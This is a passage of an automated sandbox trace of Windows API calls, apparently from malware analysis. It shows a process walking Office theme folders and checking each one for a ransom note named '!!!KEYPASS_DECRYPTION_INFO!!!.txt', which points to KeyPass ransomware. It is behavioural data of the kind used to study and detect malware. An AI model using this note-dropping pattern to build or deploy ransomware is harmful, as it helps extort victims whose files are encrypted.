lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.823] CloseHandle (hObject=0xcfc) returned 1 [0268.824] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.824] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.824] GetLastError () returned 0x3f0 [0268.824] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.824] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\JOURNAL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.836] GetFileType (hFile=0xd04) returned 0x1 [0268.837] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.837] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.837] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.837] CloseHandle (hObject=0xd04) returned 1 [0268.838] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.838] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.838] GetLastError () returned 0x3f0 [0268.838] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.838] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LAYERS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.874] GetFileType (hFile=0xd08) returned 0x1 [0268.874] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.874] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.874] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.875] CloseHandle (hObject=0xd08) returned 1 [0268.875] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.875] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.875] GetLastError () returned 0x3f0 [0268.875] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.875] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\LEVEL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.881] GetFileType (hFile=0xd00) returned 0x1 [0268.881] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.881] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.881] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.882] CloseHandle (hObject=0xd00) returned 1 [0268.882] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.882] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.882] GetLastError () returned 0x3f0 [0268.882] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.882] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\NETWORK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.884] GetFileType (hFile=0xd0c) returned 0x1 [0268.885] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.885] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.885] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.886] CloseHandle (hObject=0xd0c) returned 1 [0268.886] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.886] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.886] GetLastError () returned 0x3f0 [0268.886] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.886] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PAPYRUS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.895] GetFileType (hFile=0xd14) returned 0x1 [0268.895] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.895] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.895] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.896] CloseHandle (hObject=0xd14) returned 1 [0268.896] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.896] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.896] GetLastError () returned 0x3f0 [0268.896] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.896] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PIXEL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.898] GetFileType (hFile=0xd18) returned 0x1 [0268.898] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.898] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.898] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.899] CloseHandle (hObject=0xd18) returned 1 [0268.899] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.899] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.899] GetLastError () returned 0x3f0 [0268.899] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.899] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\PROFILE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.900] GetFileType (hFile=0xd1c) returned 0x1 [0268.900] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.901] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.901] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.901] CloseHandle (hObject=0xd1c) returned 1 [0268.901] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.901] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.901] GetLastError () returned 0x3f0 [0268.902] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.902] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\QUAD\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.924] GetFileType (hFile=0xd20) returned 0x1 [0268.924] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.924] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.924] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.925] CloseHandle (hObject=0xd20) returned 1 [0268.925] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.925] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.925] GetLastError () returned 0x3f0 [0268.925] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.925] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.927] GetFileType (hFile=0xd24) returned 0x1 [0268.927] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.927] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.927] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.928] CloseHandle (hObject=0xd24) returned 1 [0268.928] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.928] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.928] GetLastError () returned 0x3f0 [0268.928] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.928] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\REFINED\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.930] GetFileType (hFile=0xd28) returned 0x1 [0268.930] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.930] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.930] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.931] CloseHandle (hObject=0xd28) returned 1 [0268.931] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.932] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.932] GetLastError () returned 0x3f0 [0268.932] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.932] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RICEPAPR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.950] GetFileType (hFile=0xd10) returned 0x1 [0268.950] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.951] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.951] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.951] CloseHandle (hObject=0xd10) returned 1 [0268.951] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.952] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.952] GetLastError () returned 0x3f0 [0268.952] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.952] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RIPPLE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.954] GetFileType (hFile=0xd30) returned 0x1 [0268.954] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.954] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.954] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.955] CloseHandle (hObject=0xd30) returned 1 [0268.955] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.955] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.955] GetLastError () returned 0x3f0 [0268.955] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.955] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RMNSQUE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.957] GetFileType (hFile=0xd34) returned 0x1 [0268.957] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.957] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.957] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.958] CloseHandle (hObject=0xd34) returned 1 [0268.958] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.958] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.958] GetLastError () returned 0x3f0 [0268.958] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.958] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SATIN\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.966] GetFileType (hFile=0xd38) returned 0x1 [0268.966] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.966] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.967] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.967] CloseHandle (hObject=0xd38) returned 1 [0268.968] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.968] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.968] GetLastError () returned 0x3f0 [0268.968] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.968] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SKY\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.969] GetFileType (hFile=0xd2c) returned 0x1 [0268.969] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.969] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.969] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.970] CloseHandle (hObject=0xd2c) returned 1 [0268.970] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.970] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.970] GetLastError () returned 0x3f0 [0268.970] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.970] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SLATE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.971] GetFileType (hFile=0xd3c) returned 0x1 [0268.971] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.972] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.972] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.972] CloseHandle (hObject=0xd3c) returned 1 [0268.972] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.972] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.972] GetLastError () returned 0x3f0 [0268.972] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0268.972] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0268.979] GetFileType (hFile=0xd40) returned 0x1 [0268.979] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0268.979] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0268.980] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0268.980] CloseHandle (hObject=0xd40) returned 1 [0268.980] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0268.980] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4ecfe50 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0268.980] GetLastError () returned 0x3f0 [0268.980] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SPRING\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program 